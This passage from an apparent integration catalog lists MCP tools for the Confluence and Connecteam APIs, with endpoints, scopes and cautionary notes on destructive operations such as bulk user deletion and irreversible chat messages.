properties via PUT /wiki/rest/api/content/{id}/child/attachment/{attachmentId} PUT /api/v1/confluence/wiki/rest/api/content/{id}/child/attachment/{attachmentId}. Scopes: write:confluence-file, write:confluence-props. confluence_put_wiki_rest_api_content_by_id_restriction (write) — Update restrictions via PUT /wiki/rest/api/content/{id}/restriction PUT /api/v1/confluence/wiki/rest/api/content/{id}/restriction. Scopes: write:confluence-content. confluence_put_wiki_rest_api_content_by_id_restriction_byoperation_by_operationkey_bygroupid_by_groupid (write) — Add group to content restriction by group id via PUT /wiki/rest/api/content/{id}/restriction/byOperation/{operationKey}/byGroupId/{groupId} PUT /api/v1/confluence/wiki/rest/api/content/{id}/restriction/byOperation/{operationKey}/byGroupId/{groupId}. Scopes: write:confluence-content. confluence_put_wiki_rest_api_content_by_id_restriction_byoperation_by_operationkey_user (write) — Add user to content restriction via PUT /wiki/rest/api/content/{id}/restriction/byOperation/{operationKey}/user PUT /api/v1/confluence/wiki/rest/api/content/{id}/restriction/byOperation/{operationKey}/user. Scopes: write:confluence-content. confluence_put_wiki_rest_api_content_by_id_state (write) — Set content state via PUT /wiki/rest/api/content/{id}/state PUT /api/v1/confluence/wiki/rest/api/content/{id}/state. Scopes: write:confluence-content. confluence_put_wiki_rest_api_content_by_pageid_move_by_position_by_targetid (write) — Move page via PUT /wiki/rest/api/content/{pageId}/move/{position}/{targetId} PUT /api/v1/confluence/wiki/rest/api/content/{pageId}/move/{position}/{targetId}. Scopes: write:confluence-content. confluence_put_wiki_rest_api_relation_by_relationname_from_by_sourcetype_by_sourcekey_to_by_targettype_by_targetkey (write) — Create relationship via PUT /wiki/rest/api/relation/{relationName}/from/{sourceType}/{sourceKey}/to/{targetType}/{targetKey} PUT /api/v1/confluence/wiki/rest/api/relation/{relationName}/from/{sourceType}/{sourceKey}/to/{targetType}/{targetKey}. Scopes: write:confluence-content. confluence_put_wiki_rest_api_settings_lookandfeel (write) — Update look and feel via PUT /wiki/rest/api/settings/lookandfeel PUT /api/v1/confluence/wiki/rest/api/settings/lookandfeel. Scopes: manage:confluence-configuration. confluence_put_wiki_rest_api_space_by_spacekey (write) — Update space via PUT /wiki/rest/api/space/{spaceKey} PUT /api/v1/confluence/wiki/rest/api/space/{spaceKey}. Scopes: write:confluence-space. confluence_put_wiki_rest_api_space_by_spacekey_settings (write) — Update space settings via PUT /wiki/rest/api/space/{spaceKey}/settings PUT /api/v1/confluence/wiki/rest/api/space/{spaceKey}/settings. Scopes: write:confluence-space. confluence_put_wiki_rest_api_space_by_spacekey_theme (write) — Set space theme via PUT /wiki/rest/api/space/{spaceKey}/theme PUT /api/v1/confluence/wiki/rest/api/space/{spaceKey}/theme. Scopes: write:confluence-space. confluence_put_wiki_rest_api_template (write) — Update content template via PUT /wiki/rest/api/template PUT /api/v1/confluence/wiki/rest/api/template. Scopes: write:confluence-content. confluence_put_wiki_rest_api_user_by_userid_property_by_key (write) — Update user property via PUT /wiki/rest/api/user/{userId}/property/{key} PUT /api/v1/confluence/wiki/rest/api/user/{userId}/property/{key}. Scopes: write:user.property:confluence. ================================================================================ ## Connecteam URL: https://www.agenticfabriq.com/integrations/connecteam Section: Integrated Tools Connecteam — 160 MCP tools Provider key: connecteam. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. connecteam_delete_company_policies_v1_pay_rule_policies_by_payrulepolicyid_assignments_by_assignmentid (write, destructive) — Remove a pay rule policy assignment, via DELETE /company-policies/v1/pay-rule-policies/{payRulePolicyId}/assignments/{assignmentId}. DELETE /api/v1/connecteam/company-policies/v1/pay-rule-policies/{payRulePolicyId}/assignments/{assignmentId}. Scopes: api. connecteam_delete_company_policies_v1_pay_rule_policies_by_payrulepolicyid_pay_rules_by_payruleid (write, destructive) — Remove a pay rule from a pay rule policy, via DELETE /company-policies/v1/pay-rule-policies/{payRulePolicyId}/pay-rules/{payRuleId}. DELETE /api/v1/connecteam/company-policies/v1/pay-rule-policies/{payRulePolicyId}/pay-rules/{payRuleId}. Scopes: api. connecteam_delete_company_policies_v1_scheduling_rule_policies_by_schedulingrulepolicyid (write, destructive) — Delete a scheduling rule policy, via DELETE /company-policies/v1/scheduling-rule-policies/{schedulingRulePolicyId}. DELETE /api/v1/connecteam/company-policies/v1/scheduling-rule-policies/{schedulingRulePolicyId}. Scopes: api. connecteam_delete_company_policies_v1_users_by_userid_working_hours (write, destructive) — Delete a user's custom working hours, via DELETE /company-policies/v1/users/{userId}/working-hours. DELETE /api/v1/connecteam/company-policies/v1/users/{userId}/working-hours. Scopes: api. connecteam_delete_company_policies_v1_working_hours_policies_by_workinghourspolicyid_assignments_by_userid (write, destructive) — Unassign a user from a working hours policy, via DELETE /company-policies/v1/working-hours-policies/{workingHoursPolicyId}/assignments/{userId}. DELETE /api/v1/connecteam/company-policies/v1/working-hours-policies/{workingHoursPolicyId}/assignments/{userId}. Scopes: api. connecteam_delete_daily_info_v1_daily_note_by_noteid (write, destructive) — Delete a daily note, via DELETE /daily-info/v1/daily-note/{noteId}. DELETE /api/v1/connecteam/daily-info/v1/daily-note/{noteId}. Scopes: api. connecteam_delete_forms_v1_forms_by_formid_questions_by_questionid_options_by_optionid (write, destructive) — Delete a dropdown option, via DELETE /forms/v1/forms/{formId}/questions/{questionId}/options/{optionId}. DELETE /api/v1/connecteam/forms/v1/forms/{formId}/questions/{questionId}/options/{optionId}. Scopes: api. connecteam_delete_jobs_v1_jobs_by_jobid (write, destructive) — Delete a job, via DELETE /jobs/v1/jobs/{jobId}. DELETE /api/v1/connecteam/jobs/v1/jobs/{jobId}. Scopes: api. connecteam_delete_pay_rates_v1_pay_rates_users_by_userid_by_effectivedate (write, destructive) — Delete a user's pay rate for one effective date, via DELETE /pay-rates/v1/pay-rates/users/{userId}/{effectiveDate}. Removes ONE dated pay rate, addressed by user and effective date. The user's other dated rates survive, so deleting the current one makes the previous dated rate take effect rather than leaving them unpaid. DELETE /api/v1/connecteam/pay-rates/v1/pay-rates/users/{userId}/{effectiveDate}. Scopes: api. connecteam_delete_sales_v1_transactions (write, destructive) — Delete every sales transaction in a period, via DELETE /sales/v1/transactions. DELETES BY PERIOD, NOT BY ID, and it takes no body: `locationId`, `startTime` and `endTime` are REQUIRED query parameters and everything inside that window at that location goes. A wrong `endTime` is not a failed call, it is a wider delete that succeeds. Use 'Delete one sales transaction' when you know the id. DELETE /api/v1/connecteam/sales/v1/transactions. Scopes: api. connecteam_delete_sales_v1_transactions_by_transactionid (write, destructive) — Delete one sales transaction, via DELETE /sales/v1/transactions/{transactionId}. DELETE /api/v1/connecteam/sales/v1/transactions/{transactionId}. Scopes: api. connecteam_delete_scheduler_v1_schedulers_by_schedulerid_shifts (write, destructive) — Delete shifts by id, in bulk (scheduler v1), via DELETE /scheduler/v1/schedulers/{schedulerId}/shifts. BULK: the scheduler is named in the path and the shifts to remove in the body, as `shiftsIds` -- up to 20 per call. `notifyUsers` decides whether the assigned employees are told, which is a real-world effect rather than a formatting choice. DELETE /api/v1/connecteam/scheduler/v1/schedulers/{schedulerId}/shifts. Scopes: api. connecteam_delete_scheduler_v1_schedulers_by_schedulerid_shifts_by_shiftid (write, destructive) — Delete one shift (scheduler v1), via DELETE /scheduler/v1/schedulers/{schedulerId}/shifts/{shiftId}. DELETE /api/v1/connecteam/scheduler/v1/schedulers/{schedulerId}/shifts/{shiftId}. Scopes: api. connecteam_delete_scheduler_v1_schedulers_by_schedulerid_unavailability_by_unavailabilityid (write, destructive) — Delete a scheduler unavailability, via DELETE /scheduler/v1/schedulers/{schedulerId}/unavailability/{unavailabilityId}. DELETE /api/v1/connecteam/scheduler/v1/schedulers/{schedulerId}/unavailability/{unavailabilityId}. Scopes: api. connecteam_delete_scheduler_v2_schedulers_by_schedulerid_shifts (write, destructive) — Delete shifts by id, in bulk (scheduler v2), via DELETE /scheduler/v2/schedulers/{schedulerId}/shifts. BULK: the scheduler is named in the path and the shifts to remove in the body, as `shiftsIds` -- up to 20 per call. `notifyUsers` decides whether the assigned employees are told. The v2 shape of the same operation; pick the version the rest of your scheduler calls use. DELETE /api/v1/connecteam/scheduler/v2/schedulers/{schedulerId}/shifts. Scopes: api. connecteam_delete_scheduler_v2_schedulers_by_schedulerid_shifts_by_shiftid (write, destructive) — Delete one shift (scheduler v2), via DELETE /scheduler/v2/schedulers/{schedulerId}/shifts/{shiftId}. DELETE /api/v1/connecteam/scheduler/v2/schedulers/{schedulerId}/shifts/{shiftId}. Scopes: api. connecteam_delete_settings_v1_webhooks_by_webhookid (write, destructive) — Delete a webhook, via DELETE /settings/v1/webhooks/{webhookId}. DELETE /api/v1/connecteam/settings/v1/webhooks/{webhookId}. Scopes: api. connecteam_delete_tasks_v1_taskboards_by_taskboardid_tasks_by_taskid (write, destructive) — Delete a task, via DELETE /tasks/v1/taskboards/{taskBoardId}/tasks/{taskId}. DELETE /api/v1/connecteam/tasks/v1/taskboards/{taskBoardId}/tasks/{taskId}. Scopes: api. connecteam_delete_tasks_v1_taskboards_by_taskboardid_tasks_by_taskid_sub_tasks_by_subtaskid (write, destructive) — Delete a subtask, via DELETE /tasks/v1/taskboards/{taskBoardId}/tasks/{taskId}/sub-tasks/{subTaskId}. DELETE /api/v1/connecteam/tasks/v1/taskboards/{taskBoardId}/tasks/{taskId}/sub-tasks/{subTaskId}. Scopes: api. connecteam_delete_time_clock_v1_time_clocks_by_timeclockid_geofences_by_fenceid (write, destructive) — Delete a geofence, via DELETE /time-clock/v1/time-clocks/{timeClockId}/geofences/{fenceId}. DELETE /api/v1/connecteam/time-clock/v1/time-clocks/{timeClockId}/geofences/{fenceId}. Scopes: api. connecteam_delete_time_clock_v1_time_clocks_by_timeclockid_time_activities_by_timeactivityid (write, destructive) — Delete a time activity, via DELETE /time-clock/v1/time-clocks/{timeClockId}/time-activities/{timeActivityId}. DELETE /api/v1/connecteam/time-clock/v1/time-clocks/{timeClockId}/time-activities/{timeActivityId}. Scopes: api. connecteam_delete_users_v1_custom_fields (write, destructive) — Delete user custom fields, via DELETE /users/v1/custom-fields. BULK: `customFieldIds` in the body, up to 100 per call. Deleting a custom field removes the VALUE it holds on every user, not just the field definition. DELETE /api/v1/connecteam/users/v1/custom-fields. Scopes: api. connecteam_delete_users_v1_custom_fields_by_customfieldid_options_by_optionid (write, destructive) — Delete a user custom field option, via DELETE /users/v1/custom-fields/{customFieldId}/options/{optionId}. DELETE /api/v1/connecteam/users/v1/custom-fields/{customFieldId}/options/{optionId}. Scopes: api. connecteam_delete_users_v1_pending_users (write, destructive) — Delete pending users, in bulk, via DELETE /users/v1/pending-users. BULK: `ids` in the body. A pending user is someone invited who has not yet joined; deleting one withdraws the invitation. DELETE /api/v1/connecteam/users/v1/pending-users. Scopes: api. connecteam_delete_users_v1_pending_users_by_pendinguserid (write, destructive) — Delete a pending user, via DELETE /users/v1/pending-users/{pendingUserId}. DELETE /api/v1/connecteam/users/v1/pending-users/{pendingUserId}. Scopes: api. connecteam_delete_users_v1_smart_groups_by_smartgroupid (write, destructive) — Delete a smart group, via DELETE /users/v1/smart-groups/{smartGroupId}. DELETE /api/v1/connecteam/users/v1/smart-groups/{smartGroupId}. Scopes: api. connecteam_delete_users_v1_users (write, destructive) — Archive or delete users, in bulk, via DELETE /users/v1/users. BULK, AND IT IS BOTH ARCHIVE AND DELETE. The body is a plain JSON ARRAY of user ids, and `deletionType` decides which of the two happens -- an archive is reversible in the product, a delete is not. There is no per-user confirmation in between: every id in the array is acted on. Send the ids you mean and read `deletionType` before you do. DELETE /api/v1/connecteam/users/v1/users. Scopes: api. connecteam_delete_users_v1_users_by_userid (write, destructive) — Delete one user, via DELETE /users/v1/users/{userId}. Deletes ONE user, addressed entirely by path, with no body and no `deletionType` -- so this is the delete, not the archive. Use 'Archive or delete users, in bulk' when you want the reversible option. DELETE /api/v1/connecteam/users/v1/users/{userId}. Scopes: api. connecteam_get_assets_v1_asset_by_assetid (read) — Get an asset's metadata, via GET /assets/v1/asset/{assetId}. GET /api/v1/connecteam/assets/v1/asset/{assetId}. Scopes: api. connecteam_get_attachments_v1_files_by_fileid (read) — Get one file's download URL, via GET /attachments/v1/files/{fileId}. Returns a signed DOWNLOAD URL and the file's metadata, never the bytes. Fetch the URL yourself; it is time-limited. GET /api/v1/connecteam/attachments/v1/files/{fileId}. Scopes: api. connecteam_get_chat_v1_conversations (read) — List chat conversations, via GET /chat/v1/conversations. GET /api/v1/connecteam/chat/v1/conversations. Scopes: api. connecteam_get_company_policies_v1_pay_rule_policies (read) — List pay rule policies, via GET /company-policies/v1/pay-rule-policies. GET /api/v1/connecteam/company-policies/v1/pay-rule-policies. Scopes: api. connecteam_get_company_policies_v1_pay_rule_policies_by_payrulepolicyid_assignments (read) — List a pay rule policy's assignments, via GET /company-policies/v1/pay-rule-policies/{payRulePolicyId}/assignments. GET /api/v1/connecteam/company-policies/v1/pay-rule-policies/{payRulePolicyId}/assignments. Scopes: api. connecteam_get_company_policies_v1_pay_rules (read) — List pay rules, via GET /company-policies/v1/pay-rules. GET /api/v1/connecteam/company-policies/v1/pay-rules. Scopes: api. connecteam_get_company_policies_v1_scheduling_rule_policies (read) — List scheduling rule policies, via GET /company-policies/v1/scheduling-rule-policies. GET /api/v1/connecteam/company-policies/v1/scheduling-rule-policies. Scopes: api. connecteam_get_company_policies_v1_scheduling_rule_policies_by_schedulingrulepolicyid_assignments (read) — List a scheduling rule policy's assignments, via GET /company-policies/v1/scheduling-rule-policies/{schedulingRulePolicyId}/assignments. GET /api/v1/connecteam/company-policies/v1/scheduling-rule-policies/{schedulingRulePolicyId}/assignments. Scopes: api. connecteam_get_company_policies_v1_users_by_userid_scheduling_rule_policies (read) — List a user's scheduling rule policies, via GET /company-policies/v1/users/{userId}/scheduling-rule-policies. GET /api/v1/connecteam/company-policies/v1/users/{userId}/scheduling-rule-policies. Scopes: api. connecteam_get_company_policies_v1_users_by_userid_working_hours (read) — Get a user's working hours, via GET /company-policies/v1/users/{userId}/working-hours. GET /api/v1/connecteam/company-policies/v1/users/{userId}/working-hours. Scopes: api. connecteam_get_company_policies_v1_working_hours_policies (read) — List working hours policies, via GET /company-policies/v1/working-hours-policies. GET /api/v1/connecteam/company-policies/v1/working-hours-policies. Scopes: api. connecteam_get_daily_info_v1_daily_note_by_noteid (read) — Get a daily note, via GET /daily-info/v1/daily-note/{noteId}. GET /api/v1/connecteam/daily-info/v1/daily-note/{noteId}. Scopes: api. connecteam_get_forms_v1_forms (read) — List forms, via GET /forms/v1/forms. GET /api/v1/connecteam/forms/v1/forms. Scopes: api. connecteam_get_forms_v1_forms_by_formid (read) — Get a form, via GET /forms/v1/forms/{formId}. GET /api/v1/connecteam/forms/v1/forms/{formId}. Scopes: api. connecteam_get_forms_v1_forms_by_formid_form_submissions (read) — List form submissions, via GET /forms/v1/forms/{formId}/form-submissions. GET /api/v1/connecteam/forms/v1/forms/{formId}/form-submissions. Scopes: api. connecteam_get_forms_v1_forms_by_formid_form_submissions_by_formsubmissionid (read) — Get a form submission, via GET /forms/v1/forms/{formId}/form-submissions/{formSubmissionId}. GET /api/v1/connecteam/forms/v1/forms/{formId}/form-submissions/{formSubmissionId}. Scopes: api. connecteam_get_forms_v1_forms_by_formid_questions_by_questionid (read) — List a dropdown question's options, via GET /forms/v1/forms/{formId}/questions/{questionId}. GET /api/v1/connecteam/forms/v1/forms/{formId}/questions/{questionId}. Scopes: api. connecteam_get_jobs_v1_custom_fields (read) — List job custom fields, via GET /jobs/v1/custom-fields. GET /api/v1/connecteam/jobs/v1/custom-fields. Scopes: api. connecteam_get_jobs_v1_jobs (read) — List jobs, via GET /jobs/v1/jobs. GET /api/v1/connecteam/jobs/v1/jobs. Scopes: api. connecteam_get_jobs_v1_jobs_by_jobid (read) — Get a job, via GET /jobs/v1/jobs/{jobId}. GET /api/v1/connecteam/jobs/v1/jobs/{jobId}. Scopes: api. connecteam_get_me (read) — Get the connected Connecteam account, via GET /me. The connection's health check and the smallest possible read: it returns the company's own id and name. It is the endpoint this provider's connect probe calls, and the one worth calling first when a tool fails, because its answer separates the two failures a Connecteam 401/403 can mean -- measured 2026-09-25, a WRONG key answers 403 {"detail":"Invalid API key"} while a MISSING header answers 401. GET /api/v1/connecteam/me. Scopes: api. connecteam_get_onboarding_v1_packs (read) — List onboarding packs, via GET /onboarding/v1/packs. GET /api/v1/connecteam/onboarding/v1/packs. Scopes: api. connecteam_get_onboarding_v1_packs_by_packid_assignments (read) — List an onboarding pack's assignments, via GET /onboarding/v1/packs/{packId}/assignments. GET /api/v1/connecteam/onboarding/v1/packs/{packId}/assignments. Scopes: api. connecteam_get_pay_rates_v1_pay_rates (read) — List pay rates, via GET /pay-rates/v1/pay-rates. GET /api/v1/connecteam/pay-rates/v1/pay-rates. Scopes: api. connecteam_get_publishers_v1_publishers (read) — List publishers, via GET /publishers/v1/publishers. GET /api/v1/connecteam/publishers/v1/publishers. Scopes: api. connecteam_get_sales_v1_daily_sales (read) — List daily sales, via GET /sales/v1/daily-sales. GET /api/v1/connecteam/sales/v1/daily-sales. Scopes: api. connecteam_get_sales_v1_locations (read) — List sales locations, via GET /sales/v1/locations. GET /api/v1/connecteam/sales/v1/locations. Scopes: api. connecteam_get_scheduler_v1_schedulers (read) — List schedulers, via GET /scheduler/v1/schedulers. GET /api/v1/connecteam/scheduler/v1/schedulers. Scopes: api. connecteam_get_scheduler_v1_schedulers_by_schedulerid_custom_fields (read) — List a scheduler's shift custom fields, via GET /scheduler/v1/schedulers/{schedulerId}/custom-fields. GET /api/v1/connecteam/scheduler/v1/schedulers/{schedulerId}/custom-fields. Scopes: api. connecteam_get_scheduler_v1_schedulers_by_schedulerid_shift_layers (read) — List a scheduler's shift layers, via GET /scheduler/v1/schedulers/{schedulerId}/shift-layers. GET /api/v1/connecteam/scheduler/v1/schedulers/{schedulerId}/shift-layers. Scopes: api. connecteam_get_scheduler_v1_schedulers_by_schedulerid_shift_layers_by_layerid_values (read) — List a shift layer's values, via GET /scheduler/v1/schedulers/{schedulerId}/shift-layers/{layerId}/values. GET /api/v1/connecteam/scheduler/v1/schedulers/{schedulerId}/shift-layers/{layerId}/values. Scopes: api. connecteam_get_scheduler_v1_schedulers_by_schedulerid_shifts (read) — List shifts (scheduler v1), via GET /scheduler/v1/schedulers/{schedulerId}/shifts. `startTime` and `endTime` are REQUIRED (Unix seconds): Connecteam will not return an unbounded shift history. The v1 shape -- see 'List shifts (scheduler v2)' for the newer one; both are live and they are not interchangeable, so read shifts back with the version you wrote them with. GET /api/v1/connecteam/scheduler/v1/schedulers/{schedulerId}/shifts. Scopes: api. connecteam_get_scheduler_v1_schedulers_by_schedulerid_shifts_auto_assign_by_autoassignrequestid (read) — Get a shift auto-assign request's status (scheduler v1), via GET /scheduler/v1/schedulers/{schedulerId}/shifts/auto-assign/{autoAssignRequestId}. GET /api/v1/connecteam/scheduler/v1/schedulers/{schedulerId}/shifts/auto-assign/{autoAssignRequestId}. Scopes: api. connecteam_get_scheduler_v1_schedulers_by_schedulerid_shifts_by_shiftid (read) — Get a shift (scheduler v1), via GET /scheduler/v1/schedulers/{schedulerId}/shifts/{shiftId}. GET /api/v1/connecteam/scheduler/v1/schedulers/{schedulerId}/shifts/{shiftId}. Scopes: api. connecteam_get_scheduler_v1_schedulers_by_schedulerid_unavailabilities (read) — List a scheduler's unavailabilities, via GET /scheduler/v1/schedulers/{schedulerId}/unavailabilities. GET /api/v1/connecteam/scheduler/v1/schedulers/{schedulerId}/unavailabilities. Scopes: api. connecteam_get_scheduler_v1_schedulers_user_unavailability (read) — List one user's unavailability (scheduler v1), via GET /scheduler/v1/schedulers/user-unavailability. GET /api/v1/connecteam/scheduler/v1/schedulers/user-unavailability. Scopes: api. connecteam_get_scheduler_v2_schedulers_by_schedulerid_shifts (read) — List shifts (scheduler v2), via GET /scheduler/v2/schedulers/{schedulerId}/shifts. `startTime` and `endTime` are REQUIRED (Unix seconds). The v2 shape of the same listing; both versions are live and carry the same eight operations, so pick one and stay on it within a workflow. GET /api/v1/connecteam/scheduler/v2/schedulers/{schedulerId}/shifts. Scopes: api. connecteam_get_scheduler_v2_schedulers_by_schedulerid_shifts_auto_assign_by_autoassignrequestid (read) — Get a shift auto-assign request's status (scheduler v2), via GET /scheduler/v2/schedulers/{schedulerId}/shifts/auto-assign/{autoAssignRequestId}. GET /api/v1/connecteam/scheduler/v2/schedulers/{schedulerId}/shifts/auto-assign/{autoAssignRequestId}. Scopes: api. connecteam_get_scheduler_v2_schedulers_by_schedulerid_shifts_by_shiftid (read) — Get a shift (scheduler v2), via GET /scheduler/v2/schedulers/{schedulerId}/shifts/{shiftId}. GET /api/v1/connecteam/scheduler/v2/schedulers/{schedulerId}/shifts/{shiftId}. Scopes: api. connecteam_get_scheduler_v2_schedulers_user_unavailability (read) — List one user's unavailability (scheduler v2), via GET /scheduler/v2/schedulers/user-unavailability. GET /api/v1/connecteam/scheduler/v2/schedulers/user-unavailability. Scopes: api. connecteam_get_settings_v1_webhooks (read) — List webhooks by feature type, via GET /settings/v1/webhooks. GET /api/v1/connecteam/settings/v1/webhooks. Scopes: api. connecteam_get_settings_v1_webhooks_by_webhookid (read) — Get a webhook, via GET /settings/v1/webhooks/{webhookId}. GET /api/v1/connecteam/settings/v1/webhooks/{webhookId}. Scopes: api. connecteam_get_tasks_v1_taskboards (read) — List task boards, via GET /tasks/v1/taskboards. GET /api/v1/connecteam/tasks/v1/taskboards. Scopes: api. connecteam_get_tasks_v1_taskboards_by_taskboardid_labels (read) — List task board labels, via GET /tasks/v1/taskboards/{taskBoardId}/labels. GET /api/v1/connecteam/tasks/v1/taskboards/{taskBoardId}/labels. Scopes: api. connecteam_get_tasks_v1_taskboards_by_taskboardid_tasks (read) — List tasks, via GET /tasks/v1/taskboards/{taskBoardId}/tasks. GET /api/v1/connecteam/tasks/v1/taskboards/{taskBoardId}/tasks. Scopes: api. connecteam_get_tasks_v1_taskboards_by_taskboardid_tasks_by_taskid_sub_tasks (read) — List a task's subtasks, via GET /tasks/v1/taskboards/{taskBoardId}/tasks/{taskId}/sub-tasks. GET /api/v1/connecteam/tasks/v1/taskboards/{taskBoardId}/tasks/{taskId}/sub-tasks. Scopes: api. connecteam_get_time_clock_breadcrumbs_v1_report_by_fileid (read) — Get a breadcrumbs report's status, via GET /time-clock/breadcrumbs/v1/report/{fileId}. GET /api/v1/connecteam/time-clock/breadcrumbs/v1/report/{fileId}. Scopes: api. connecteam_get_time_clock_breadcrumbs_v1_report_by_fileid_download (read) — Get a breadcrumbs report's download link, via GET /time-clock/breadcrumbs/v1/report/{fileId}/download. Returns a signed download LINK for a finished breadcrumbs report, not the report itself. Breadcrumbs are employees' recorded GPS trails -- location data about identifiable people -- so treat the link as personal data and do not paste it anywhere it will outlive its expiry. GET /api/v1/connecteam/time-clock/breadcrumbs/v1/report/{fileId}/download. Scopes: api. connecteam_get_time_clock_v1_time_clocks (read) — List time clocks, via GET /time-clock/v1/time-clocks. GET /api/v1/connecteam/time-clock/v1/time-clocks. Scopes: api. connecteam_get_time_clock_v1_time_clocks_by_timeclockid_geofences (read) — List geofences, via GET /time-clock/v1/time-clocks/{timeClockId}/geofences. GET /api/v1/connecteam/time-clock/v1/time-clocks/{timeClockId}/geofences. Scopes: api. connecteam_get_time_clock_v1_time_clocks_by_timeclockid_geofences_by_fenceid (read) — Get a geofence, via GET /time-clock/v1/time-clocks/{timeClockId}/geofences/{fenceId}. GET /api/v1/connecteam/time-clock/v1/time-clocks/{timeClockId}/geofences/{fenceId}. Scopes: api. connecteam_get_time_clock_v1_time_clocks_by_timeclockid_manual_breaks (read) — List manual break types, via GET /time-clock/v1/time-clocks/{timeClockId}/manual-breaks. GET /api/v1/connecteam/time-clock/v1/time-clocks/{timeClockId}/manual-breaks. Scopes: api. connecteam_get_time_clock_v1_time_clocks_by_timeclockid_shift_attachments (read) — List time-clock shift attachments, via GET /time-clock/v1/time-clocks/{timeClockId}/shift-attachments. GET /api/v1/connecteam/time-clock/v1/time-clocks/{timeClockId}/shift-attachments. Scopes: api. connecteam_get_time_clock_v1_time_clocks_by_timeclockid_time_activities (read) — List time activities, via GET /time-clock/v1/time-clocks/{timeClockId}/time-activities. GET /api/v1/connecteam/time-clock/v1/time-clocks/{timeClockId}/time-activities. Scopes: api. connecteam_get_time_clock_v1_time_clocks_by_timeclockid_timesheet (read) — Get timesheet total hours, via GET /time-clock/v1/time-clocks/{timeClockId}/timesheet. Returns TOTALS for the window, not the individual time activities. Use 'List time activities' when you need the underlying punches. GET /api/v1/connecteam/time-clock/v1/time-clocks/{timeClockId}/timesheet. Scopes: api. connecteam_get_time_off_v1_policy_types (read) — List time-off policy types, via GET /time-off/v1/policy-types. GET /api/v1/connecteam/time-off/v1/policy-types. Scopes: api. connecteam_get_time_off_v1_policy_types_by_policytypeid_balances (read) — List time-off balances for a policy type, via GET /time-off/v1/policy-types/{policyTypeId}/balances. GET /api/v1/connecteam/time-off/v1/policy-types/{policyTypeId}/balances. Scopes: api. connecteam_get_time_off_v1_requests (read) — List time-off requests, via GET /time-off/v1/requests. GET /api/v1/connecteam/time-off/v1/requests. Scopes: api. connecteam_get_users_v1_custom_field_categories (read) — List user custom field categories, via GET /users/v1/custom-field-categories. GET /api/v1/connecteam/users/v1/custom-field-categories. Scopes: api. connecteam_get_users_v1_custom_fields (read) — List user custom fields, via GET /users/v1/custom-fields. GET /api/v1/connecteam/users/v1/custom-fields. Scopes: api. connecteam_get_users_v1_custom_fields_by_customfieldid_options (read) — List a user custom field's options, via GET /users/v1/custom-fields/{customFieldId}/options. GET /api/v1/connecteam/users/v1/custom-fields/{customFieldId}/options. Scopes: api. connecteam_get_users_v1_pending_users (read) — List pending users, via GET /users/v1/pending-users. GET /api/v1/connecteam/users/v1/pending-users. Scopes: api. connecteam_get_users_v1_performance_indicators (read) — List performance indicators, via GET /users/v1/performance-indicators. GET /api/v1/connecteam/users/v1/performance-indicators. Scopes: api. connecteam_get_users_v1_smart_group_segments (read) — List smart group segments, via GET /users/v1/smart-group-segments. GET /api/v1/connecteam/users/v1/smart-group-segments. Scopes: api. connecteam_get_users_v1_smart_groups (read) — List smart groups, via GET /users/v1/smart-groups. GET /api/v1/connecteam/users/v1/smart-groups. Scopes: api. connecteam_get_users_v1_users (read) — List users, via GET /users/v1/users. Paged: `limit` (default 10, maximum 500) and `offset`, where the response's `paging.offset` is what to pass next. `userStatus` defaults to `active`, so ARCHIVED USERS ARE ABSENT unless you ask for `archived` or `all` -- the most common reason a user 'is missing'. GET /api/v1/connecteam/users/v1/users. Scopes: api. connecteam_get_users_v1_users_by_userid_assignments (read) — List a user's assignments, via GET /users/v1/users/{userId}/assignments. GET /api/v1/connecteam/users/v1/users/{userId}/assignments. Scopes: api. connecteam_post_attachments_v1_files_download_url (write) — Get download URLs for several files, via POST /attachments/v1/files/download-url. The batch form of 'Get one file's download URL' -- several file ids in, several signed URLs out. A POST because the id list is a body, not because it changes anything; it is catalogued as a write for that reason and `attachments.read` is the permission it needs. POST /api/v1/connecteam/attachments/v1/files/download-url. Scopes: api. connecteam_post_attachments_v1_files_generate_upload_url (write) — Start a file upload (get a signed upload URL), via POST /attachments/v1/files/generate-upload-url. STEP 1 OF 3, and Agentic Fabriq carries no bytes in either direction. This returns a SIGNED URL your own client PUTs the file to; then call 'Finish a file upload' with the file id to register it with Connecteam. Nothing here accepts or returns file content -- a tool argument and a tool result are JSON in a model's context window. POST /api/v1/connecteam/attachments/v1/files/generate-upload-url. Scopes: api. connecteam_post_chat_v1_conversations (write) — Create a chat conversation, via POST /chat/v1/conversations. POST /api/v1/connecteam/chat/v1/conversations. Scopes: api. connecteam_post_chat_v1_conversations_by_conversationid_message (write) — Send a message to a chat conversation, via POST /chat/v1/conversations/{conversationId}/message. SENDS A REAL MESSAGE to real employees, immediately and irreversibly: there is no unsend on this API. Not marked destructive -- nothing is deleted -- but it is the tool on this surface most likely to have an effect a customer cannot take back. POST /api/v1/connecteam/chat/v1/conversations/{conversationId}/message. Scopes: api. connecteam_post_chat_v1_conversations_privatemessage_by_userid (write) — Send a private chat message to a user, via POST /chat/v1/conversations/privateMessage/{userId}. Sends a one-to-one message to that user, immediately and irreversibly. If no private conversation exists yet Connecteam opens one, so this also creates a conversation as a side effect. POST /api/v1/connecteam/chat/v1/conversations/privateMessage/{userId}. Scopes: api. connecteam_post_daily_info_v1_daily_notes (write) — Create daily notes, via POST /daily-info/v1/daily-notes. POST /api/v1/connecteam/daily-info/v1/daily-notes. Scopes: api. connecteam_post_forms_v1_forms_by_formid_questions_by_questionid (write) — Add options to a dropdown question, via POST /forms/v1/forms/{formId}/questions/{questionId}. POST /api/v1/connecteam/forms/v1/forms/{formId}/questions/{questionId}. Scopes: api. connecteam_post_jobs_v1_jobs (write) — Create jobs, via POST /jobs/v1/jobs. POST /api/v1/connecteam/jobs/v1/jobs. Scopes: api. connecteam_post_onboarding_v1_packs_by_packid_assignments (write) — Assign users to an onboarding pack, via POST /onboarding/v1/packs/{packId}/assignments. POST /api/v1/connecteam/onboarding/v1/packs/{packId}/assignments. Scopes: api. connecteam_post_sales_v1_locations (write) — Create a sales location, via POST /sales/v1/locations. POST /api/v1/connecteam/sales/v1/locations. Scopes: api. connecteam_post_sales_v1_transactions (write) — Create sales transactions, via POST /sales/v1/transactions. POST 